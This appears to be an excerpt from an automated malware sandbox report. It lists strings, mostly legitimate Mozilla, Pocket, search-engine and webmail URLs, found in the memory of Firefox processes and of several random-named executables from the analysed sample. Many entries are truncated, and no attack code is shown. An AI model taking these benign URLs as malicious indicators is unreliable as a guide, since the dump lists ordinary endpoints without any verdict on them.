Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000019.00000002.3009852946.0000025E71011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000019.00000002.3069732243.0000025E82594000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000003.2956838573.0000025E8914A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000019.00000002.3059082762.0000025E81B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2875054403.0000025E8118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000002.3015823343.0000025E7C9DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000002.3015823343.0000025E7C9DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3015823343.0000025E7C9F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2941797933.0000025E897F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000019.00000002.3059082762.0000025E81B7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000019.00000002.3009852946.0000025E71011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3009852946.0000025E71030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000002.3033711233.0000025E802F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2874159292.0000025E81138000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.3033711233.0000025E802F0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039979682.0000025E80D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sAttempted
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2939160067.0000025E83995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000003.2963429453.0000025E8261E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2968004122.0000025E826AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2968004122.0000025E826A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Connecting
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2992255155.0000007863804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3009852946.0000025E7106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2939160067.0000025E83995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
